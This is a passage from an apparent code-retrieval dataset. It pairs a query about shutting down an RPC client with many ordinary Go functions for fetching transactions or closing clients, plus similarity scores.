:= sc.Request(ctx, \"blockchain.transaction.get\", positional{txid, true}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resp, nil\n}", "func (r *RBucket) Tx() Tx {\n\treturn r.tx\n}", "func (ch *blockchain) GetTx(h chainhash.Hash) (tx *primitives.Tx, err error) {\n\tloc, err := ch.txidx.GetTx(h)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tblock, err := ch.GetBlock(loc.Block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn block.Txs[loc.Index], nil\n}", "func (uts *UnapprovedTransactions) GetTransaction(txID []byte) ([]byte, error) {\n\treturn uts.DB.Get(uts.getTableName(), txID)\n}", "func (b *Bitcoind) GetTransaction(txid string) (transaction Transaction, err error) {\n\tr, err := b.client.call(\"gettransaction\", []interface{}{txid})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transaction)\n\treturn\n}", "func (t *TxAPI) Get(hash string) (*api.ResultTx, error) {\n\tresp, statusCode, err := t.c.call(\"tx_get\", hash)\n\tif err != nil {\n\t\treturn nil, makeReqErrFromCallErr(statusCode, err)\n\t}\n\n\tvar r api.ResultTx\n\tif err = util.DecodeMap(resp, &r); err != nil {\n\t\treturn nil, errors.ReqErr(500, ErrCodeDecodeFailed, \"\", err.Error())\n\t}\n\n\treturn &r, nil\n}", "func GetBytesTransaction(tx *peer.Transaction) ([]byte, error) {\n\tbytes, err := proto.Marshal(tx)\n\treturn bytes, err\n}", "func (m MarketInfoMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, errors.New(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (r *Redis) GetTx(txID ids.ID) ([]byte, error) {\n\tctx, cancelFn := context.WithTimeout(context.Background(), redisTimeout)\n\tdefer cancelFn()\n\n\tcmd := r.client.Get(ctx, redisIndexKeysTxByID(r.chainID.String(), txID.String()))\n\tif err := cmd.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn cmd.Bytes()\n}", "func (ps *PubsubApi) GetTransaction(hash common.Hash) *rtypes.RPCTx {\n\ttx, txEntry := ps.backend().GetTx(hash)\n\tif tx == nil {\n\t\tlog.Info(\"GetTransaction fail\", \"hash\", hash)\n\t}\n\treturn rtypes.NewRPCTx(tx, txEntry)\n}", "func (svc *svc) GetTransaction(ctx context.Context, query model.TransactionQuery) (model.Transaction, error) {\n\ttransaction, err := svc.repo.GetTransaction(ctx, query)\n\tif err != nil {\n\t\treturn transaction, err\n\t}\n\n\treturn transaction, nil\n}", "func (s *Session) Transaction() *Transaction {\n\t// acquire lock\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\treturn s.txn\n}", "func (r TxResponse) GetTx() HasMsgs {\n\tif tx, ok := r.Tx.GetCachedValue().(HasMsgs); ok {\n\t\treturn tx\n\t}\n\treturn nil\n}", "func (trs *Transaction) GetTransaction() stored_transactions.Transaction {\n\treturn trs.Trs\n}", "func GetTx(txhash string) (*model.Tx, error) {\n\turl := fmt.Sprintf(bchapi.TxUrl, txhash)\n\tresult, err := bchapi.HttpGet(url, bchapi.ConnTimeoutMS, bchapi.ServeTimeoutMS)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttx, err := model.StringToTx(result)\n\treturn tx, err\n}", "func (rt *RecvTxOut) Tx() *btcutil.Tx {\n\treturn rt.tx\n}", "func (f *FactoidTransaction) Get(ctx context.Context, c *Client) error {\n\t// TODO: Test this functionality\n\t// If the TransactionID is nil then we have nothing to query for.\n\tif f.TransactionID == nil {\n\t\treturn fmt.Errorf(\"txid is nil\")\n\t}\n\t// If the Transaction is already populated then there is nothing to do. If\n\t// the Hash is nil, we cannot populate it anyway.\n\tif f.IsPopulated() {\n\t\treturn nil\n\t}\n\n\tparams := struct {\n\t\tHash *Bytes32 `json:\"hash\"`\n\t}{Hash: f.TransactionID}\n\tvar result struct {\n\t\tData Bytes `json:\"data\"`\n\t}\n\tif err := c.FactomdRequest(ctx, \"raw-data\", params, &result); err != nil {\n\t\treturn err\n\t}\n\n\tif err := f.UnmarshalBinary(result.Data); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (tbl DbCompoundTable) Tx() *sql.Tx {\n\treturn tbl.db.(*sql.Tx)\n}", "func GetTransaction(_db *gorm.DB, blkHash common.Hash, txHash common.Hash) *Transactions {\n\tvar tx Transactions\n\n\tif err := _db.Where(\"hash = ? and blockhash = ?\", txHash.Hex(), blkHash.Hex()).First(&tx).Error; err != nil {\n\t\treturn nil\n\t}\n\n\treturn &tx\n}", "func (tx *tX) Transaction() (*tX, error) {\n\treturn tx, nil\n}", "func (s *server) GetTransaction(ctx context.Context, req *transactionpb.GetTransactionRequest) (*transactionpb.GetTransactionResponse, error) {\n\tlog := logrus.WithFields(logrus.Fields{\n\t\t\"method\": \"GetTransaction\",\n\t\t\"id\": base64.StdEncoding.EncodeToString(req.TransactionId.Value),\n\t})\n\n\tif len(req.TransactionId.Value) != 32 && len(req.TransactionId.Value) != 64 {\n\t\treturn nil, status.Error(codes.Internal, \"invalid transaction signature\")\n\t}\n\n\tresp, err := s.loader.loadTransaction(ctx, req.TransactionId.Value)\n\tif err != nil {\n\t\tlog.WithError(err).Warn(\"failed to load transaction\")\n\t\treturn nil, status.Error(codes.Internal, \"failed to load transaction\")\n\t}\n\treturn resp, nil\n}", "func (data *Data) GetTx(hash chainhash.Hash) (*wire.MsgTx, error) {\n\tdb, err := data.openDb()\n\tdefer data.closeDb(db)\n\tif err != nil {\n\t\tlog.Printf(\"data.openDb Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\tvar bs []byte\n\terr = db.QueryRow(\"SELECT data FROM tx WHERE hash=?\", hash.CloneBytes()).Scan(&bs)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn nil, nil\n\t\t}\n\t\tlog.Printf(\"db.QueryRow Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\ttx, err := data.bsToMsgTx(bs)\n\tif err != nil {\n\t\tlog.Printf(\"data.bsToMsgTx Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\treturn tx, nil\n}", "func (r Virtual_Guest) GetActiveTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"getActiveTransaction\", nil, &r.Options, &resp)\n\treturn\n}", "func (api *API) Get(tid string) (*pagarme.Response, *pagarme.Transaction, error) {\n\tresp, err := api.Config.Do(http.MethodGet, \"/transactions/\"+tid, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif werr := www.ExtractError(resp); werr != nil {\n\t\treturn werr, nil, nil\n\t}\n\tresult := &pagarme.Transaction{}\n\tif err := www.Unmarshal(resp, result); err != nil {\n\t\tapi.Config.Logger.Error(\"could not unmarshal transaction [Get]: \" + err.Error())\n\t\treturn nil, nil, err\n\t}\n\n\treturn www.Ok(), result, nil\n}", "func (m *TransactionMessage) GetTransaction() (*types.Tx, error) {\n\ttx := &types.Tx{}\n\tif err := tx.UnmarshalText(m.RawTx); err != nil {\n\t\treturn nil, err\n\t}\n\treturn tx, nil\n}", "func (b Blockstream) GetTransaction(txHash string) (*wire.MsgTx, error) {\n\turl := fmt.Sprintf(\"%s/tx/%s\", baseURL, txHash)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tb, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn nil, fmt.Errorf(\"failed to get a transaction: %s\", b)\n\t}\n\n\tvar tx transaction\n\tif err := json.NewDecoder(resp.Body).Decode(&tx); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsgTx := wire.NewMsgTx(tx.Version)\n\tmsgTx.LockTime = uint32(tx.Locktime)\n\n\tfor _, vin := range tx.Vin {\n\t\tvoutHash, err := chainhash.NewHashFromStr(vin.Txid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tsigScript, err := hex.DecodeString(vin.Scriptsig)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar witness [][]byte\n\t\tfor _, w := range vin.Witness {\n\t\t\tws, err := hex.DecodeString(w)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\twitness = append(witness, ws)\n\t\t}\n\n\t\tnewInput := wire.NewTxIn(\n\t\t\twire.NewOutPoint(voutHash, vin.Vout),\n\t\t\tsigScript,\n\t\t\twitness,\n\t\t)\n\t\tnewInput.Sequence = uint32(vin.Sequence)\n\n\t\tmsgTx.AddTxIn(newInput)\n\t}\n\n\tfor _, vout := range tx.Vout {\n\t\tpkScript, err := hex.DecodeString(vout.Scriptpubkey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmsgTx.AddTxOut(\n\t\t\twire.NewTxOut(\n\t\t\t\tvout.Value,\n\t\t\t\tpkScript,\n\t\t\t),\n\t\t)\n\t}\n\n\tif msgTx.TxHash().String() != tx.Txid {\n\t\treturn nil, fmt.Errorf(\"transaction hash doesn't match\")\n\t}\n\n\treturn msgTx, nil\n}", "func (m TransportMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (b *DatabaseTestSuiteBase) Tx() sqlx.Ext {\n\treturn b.tx\n}", "func (m SettlementMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (s *transactionStore) Get(ctx context.Context, id configapi.TransactionID) (*configapi.Transaction, error) {\n\t// If the transaction is not already in the cache, get it from the underlying primitive.\n\tentry, err := s.transactions.Get(ctx, id)\n\tif err != nil {\n\t\treturn nil, errors.FromAtomix(err)\n\t}\n\ttransaction := entry.Value\n\ttransaction.Index = configapi.Index(entry.Index)\n\ttransaction.Version = uint64(entry.Version)\n\treturn transaction, nil\n}", "func (m CarserviceMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func bitcoinGetRawTransaction(hash string, reply *bitcoinTransaction) error {\n\tglobalBitcoinData.Lock()\n\tdefer globalBitcoinData.Unlock()\n\n\tif !globalBitcoinData.initialised {\n\t\treturn fault.ErrNotInitialised\n\t}\n\n\targuments := []interface{}{\n\t\thash,\n\t\t1,\n\t}\n\treturn bitcoinCall(\"getrawtransaction\", arguments, reply)\n}", "func (c *TransactionClient) Get(ctx context.Context, id int32) (*Transaction, error) {\n\treturn c.Query().Where(transaction.ID(id)).Only(ctx)\n}", "func (m RoomInfoMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (s *InventoryApiService) GetInventoryTransaction(id string, w http.ResponseWriter) error {\n\tctx := context.Background()\n\ttxn, err := s.db.GetInventoryTransaction(ctx, id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn EncodeJSONResponse(txn, nil, w)\n}", "func (m StartWorkMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m TradeRecordMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, errors.New(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m StockMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\n\ttx := &peer.Transaction{}\n\terr := proto.Unmarshal(txBytes, tx)\n\treturn tx, err\n}", "func GetTransaction(id int, db *gorm.DB) Transaction {\n\tvar t Transaction\n\terr := db.Table(\"transactions\").\n\t\tPreload(\"Tags\").\n\t\tFirst(&t, id).\n\t\tError\n\tif err != nil {\n\t\tt.Date = time.Now()\n\t}\n\treturn t\n}", "func (m StatisticMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m StatisticMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m RentalstatusMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m TradeTimeRangeMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, errors.New(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m StreetMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (tp *TXPool) GetTransaction(hash common.Uint256) *types.Transaction {\n\ttp.RLock()\n\tdefer tp.RUnlock()\n\tif tx := tp.txList[hash]; tx == nil {\n\t\treturn nil\n\t}\n\treturn tp.txList[hash].Tx\n}", "func (m TradeCorrectionMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, errors.New(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (s *Service) GetExplorerTransaction(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tid := r.FormValue(\"id\")\n\n\tdata := &Data{}\n\tdefer func() {\n\t\tif err := json.NewEncoder(w).Encode(data.TX); err != nil {\n\t\t\tutils.Logger().Warn().Err(err).Msg(\"cannot JSON-encode TX\")\n\t\t}\n\t}()\n\tif id == \"\" {\n\t\tutils.Logger().Warn().Msg(\"invalid id parameter\")\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\tdb := s.Storage.GetDB()\n\tbytes, err := db.Get([]byte(GetTXKey(id)))\n\tif err != nil {\n\t\tutils.Logger().Warn().Err(err).Str(\"id\", id).Msg(\"cannot read TX\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\ttx := new(Transaction)\n\tif rlp.DecodeBytes(bytes, tx) != nil {\n\t\tutils.Logger().Warn().Str(\"id\", id).Msg(\"cannot convert data from DB\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\tdata.TX = *tx\n}", "func (m LevelMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m LevelMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m SystemMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (mp *TxPool) GetTransaction(hash Uint256) *Transaction {\n\tmp.RLock()\n\tdefer mp.RUnlock()\n\treturn mp.txnList[hash]\n}", "func (tx Transaction) Serialize() []byte {\n\tvar encoded bytes.Buffer\n\n\tenc := gob.NewEncoder(&encoded)\n\terr := enc.Encode(tx)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\treturn encoded.Bytes()\n}", "func (tx Transaction) Serialize() []byte {\n\tvar encoded bytes.Buffer\n\n\tenc := gob.NewEncoder(&encoded)\n\terr := enc.Encode(tx)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\treturn encoded.Bytes()\n}", "func (tx Transaction) Serialize() []byte {\n\tvar encoded bytes.Buffer\n\n\tenc := gob.NewEncoder(&encoded)\n\terr := enc.Encode(tx)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\treturn encoded.Bytes()\n}", "func (m CityMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (tx Transaction) Serialize() []byte {\n\tvar encoded bytes.Buffer\n\te := gob.NewEncoder(&encoded)\n\terr := e.Encode(tx)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\treturn encoded.Bytes()\n}", "func (t *TransactionRaw) ToTransaction() (*TransactionInfo, StdError) {\n\tvar (\n\t\tBlockNumber uint64\n\t\tTxIndex uint64\n\t\tAmount uint64\n\t\tExecuteTime int64\n\t\terr error\n\t)\n\n\tif t.Invalid && t.Version == \"\" {\n\t\treturn &TransactionInfo{\n\t\t\tHash: t.Hash,\n\t\t\tInvalid: t.Invalid,\n\t\t\tInvalidMsg: t.InvalidMsg,\n\t\t}, nil\n\t}\n\n\tif Amount, err = strconv.ParseUint(t.Amount, 0, 64); err != nil {\n\t\tlogger.Error(err)\n\t\treturn nil, NewSystemError(err)\n\t}\n\n\tif t.Invalid {\n\t\treturn &TransactionInfo{\n\t\t\tVersion: t.Version,\n\t\t\tHash: t.Hash,\n\t\t\tFrom: t.From,\n\t\t\tTo: t.To,\n\t\t\tAmount: Amount,\n\t\t\tTimestamp: uint64(t.Timestamp),\n\t\t\tNonce: uint64(t.Nonce),\n\t\t\tPayload: t.Payload,\n\t\t\tExtra: t.Extra,\n\t\t\tInvalid: t.Invalid,\n\t\t\tInvalidMsg: t.InvalidMsg,\n\t\t}, nil\n\t}\n\n\tif BlockNumber, err = strconv.ParseUint(t.BlockNumber, 0, 64); err != nil {\n\t\tlogger.Error(err)\n\t\treturn nil, NewSystemError(err)\n\t}\n\tif TxIndex, err = strconv.ParseUint(t.TxIndex, 0, 64); err != nil {\n\t\tlogger.Error(err)\n\t\treturn nil, NewSystemError(err)\n\t}\n\tif strings.Index(t.ExecuteTime, \"0x\") == 0 || strings.Index(t.ExecuteTime, \"-0x\") == 0 {\n\t\tt.ExecuteTime = strings.Replace(t.ExecuteTime, \"0x\", \"\", 1)\n\t}\n\tif ExecuteTime, err = strconv.ParseInt(t.ExecuteTime, 16, 64); err != nil {\n\t\tlogger.Error(err)\n\t\treturn nil, NewSystemError(err)\n\t}\n\treturn &TransactionInfo{\n\t\tVersion: t.Version,\n\t\tHash: t.Hash,\n\t\tBlockNumber: BlockNumber,\n\t\tBlockHash: t.BlockHash,\n\t\tTxIndex: TxIndex,\n\t\tFrom: t.From,\n\t\tTo: t.To,\n\t\tCName: t.CName,\n\t\tAmount: Amount,\n\t\tTimestamp: uint64(t.Timestamp),\n\t\tNonce: uint64(t.Nonce),\n\t\tExecuteTime: ExecuteTime,\n\t\tPayload: t.Payload,\n\t\tExtra: t.Extra,\n\t\tBlockWriteTime: t.BlockWriteTime,\n\t\tBlockTimestamp: t.BlockTimestamp,\n\t}, nil\n}", "func (m TradeConditionMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, errors.New(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m ToolMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m BillingstatusMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\n\ttx := &peer.Transaction{}\n\terr := proto.Unmarshal(txBytes, tx)\n\treturn tx, errors.Wrap(err, \"error unmarshaling Transaction\")\n}", "func (m StatusdMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m PlayerMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m PlayerMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m AuthorizeMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m ZoneMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m RobberMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m CarRepairrecordMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (tx *txDriver) Tx(context.Context) (dialect.Tx, error) { return tx, nil }", "func (tx *txDriver) Tx(context.Context) (dialect.Tx, error) { return tx, nil }", "func (m StaytypeMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (m UrgentMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (c *Client) Tx(ctx context.Context) (*Tx, error) {\n\tif _, ok := c.driver.(*txDriver); ok {\n\t\treturn nil, fmt.Errorf(\"ent: cannot start a transaction within a transaction\")\n\t}\n\ttx, err := newTx(ctx, c.driver)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"ent: starting a transaction: %w\", err)\n\t}\n\tcfg := c.config\n\tcfg.driver = tx\n\treturn &Tx{\n\t\tctx: ctx,\n\t\tconfig: cfg,\n\t\tAdmin: NewAdminClient(cfg),\n\t\tAdminSession: NewAdminSessionClient(cfg),\n\t\tCategory: NewCategoryClient(cfg),\n\t\tPost: NewPostClient(cfg),\n\t\tPostAttachment: NewPostAttachmentClient(cfg),\n\t\tPostImage: NewPostImageClient(cfg),\n\t\tPostThumbnail: NewPostThumbnailClient(cfg),\n\t\tPostVideo: NewPostVideoClient(cfg),\n\t\tUnsavedPost: NewUnsavedPostClient(cfg),\n\t\tUnsavedPostAttachment: NewUnsavedPostAttachmentClient(cfg),\n\t\tUnsavedPostImage: NewUnsavedPostImageClient(cfg),\n\t\tUnsavedPostThumbnail: NewUnsavedPostThumbnailClient(cfg),\n\t\tUnsavedPostVideo: NewUnsavedPostVideoClient(cfg),\n\t}, nil\n}" ]
[ "0.7263245", "0.7125597", "0.7077553", "0.7010044", "0.6990968", "0.6925502", "0.6921681", "0.6895602", "0.68765855", "0.68272394", "0.6819173", "0.6819173", "0.6819173", "0.67866963", "0.6745477", "0.67282116", "0.67034066", "0.66091406", "0.657348", "0.6562667", "0.6556184", "0.65078855", "0.64931303", "0.6466886", "0.64577687", "0.6454229", "0.645064", "0.64173454", "0.63882315", "0.63765943", "0.6364728", "0.6363797", "0.6357235", "0.6320504", "0.6305036", "0.6302494", "0.624765", "0.6238987", "0.62381953", "0.62329", "0.6228305", "0.62140894", "0.6195913", "0.6184984", "0.61848325", "0.6159268", "0.6150164", "0.61168534", "0.61148435", "0.61057705", "0.6105175", "0.6094746", "0.60862035", "0.6077278", "0.60530335", "0.6050436", "0.6035077", "0.60316193", "0.6015715", "0.6011804", "0.60048026", "0.6001083", "0.60000414", "0.59980595", "0.5980402", "0.5978684", "0.5976479", "0.5973251", "0.5973251", "0.59729475", "0.5968471", "0.5968064", "0.59625983", "0.59548086", "0.59530205", "0.5952047", "0.5952047", "0.59416646", "0.5937749", "0.59361523", "0.59361523", "0.59361523", "0.593258", "0.59323263", "0.5924911", "0.5921157", "0.59100014", "0.590483", "0.58957785", "0.5885601", "0.58841807", "0.58841807", "0.58826536", "0.5879125", "0.5878614", "0.5877419", "0.5874872", "0.5874872", "0.5867874", "0.58668816", "0.5865813" ]
0.0
-1
Shutdown down the rpcclient.Client.
func (dcr *DCRBackend) shutdown() { if dcr.client != nil { dcr.client.Shutdown() dcr.client.WaitForShutdown() } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Shutdown() {\n\tstdClient.Close()\n}", "func (gs *GRPCClient) Shutdown() error {\n\treturn nil\n}", "func (c *client) Shutdown(ctx context.Context) error {\n\t// The otlpmetric.Exporter synchronizes access to client methods and\n\t// ensures this is called only once. The only thing that needs to be done\n\t// here is to release any computational resources the client holds.\n\n\tc.metadata = nil\n\tc.requestFunc = nil\n\tc.msc = nil\n\n\terr := ctx.Err()\n\tif c.ourConn {\n\t\tcloseErr := c.conn.Close()\n\t\t// A context timeout error takes precedence over this error.\n\t\tif err == nil && closeErr != nil {\n\t\t\terr = closeErr\n\t\t}\n\t}\n\tc.conn = nil\n\treturn err\n}", "func (c *TLWClient) TearDown() error {\n\treturn c.conn.Close()\n}", "func (c *NetClient) Shutdown() {\n\tc.haltOnce.Do(func() { c.halt() })\n}", "func StopClient() {\n\tclient.Close()\n}", "func (c *Client) Shutdown() {\n\tc.ac.shutdown()\n}", "func (q *CoreClient) Shutdown(safe bool) (err error) {\n\tif safe {\n\t\t_, err = q.RequestWithoutData(http.MethodPost, \"/safeExit\", nil, nil, 200)\n\t} else {\n\t\t_, err = q.RequestWithoutData(http.MethodPost, \"/exit\", nil, nil, 200)\n\t}\n\treturn\n}", "func (c *RPCClient) Stop() {\n\tc.quitMtx.Lock()\n\tselect {\n\tcase <-c.quit:\n\tdefault:\n\t\tclose(c.quit)\n\t\tc.Client.Shutdown()\n\t}\n\tc.quitMtx.Unlock()\n}", "func Close() {\n\t_ = client.Close()\n}", "func (s *SSHClient) Close() error {\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\n\tif s.client == nil {\n\t\treturn nil\n\t}\n\tdefer func() {\n\t\ts.client.Close()\n\t\ts.client = nil\n\t}()\n\n\t// some vendors have issues with the bmc if you don't do it\n\tif _, err := s.run(\"exit\"); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (c *Client) Close() error {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\t// check if closed\n\tif !c.connected {\n\t\treturn status.ErrNotConnected\n\t}\n\t// if not clean up and free resources\n\n\t// first exit the loop\n\tclose(c.shutdown)\n\t// wait for the main loop to exit\n\t<-c.loopExit\n\t// close ethereum client\n\tc.client.Close()\n\t// send shutdown error to listener\n\tc.sendError(status.ErrShutdown)\n\t// set closed to false\n\tc.connected = false\n\t// return\n\treturn nil\n}", "func (client *Client) Close() {\n\t// Set halting flag and then close our socket to server.\n\t// This 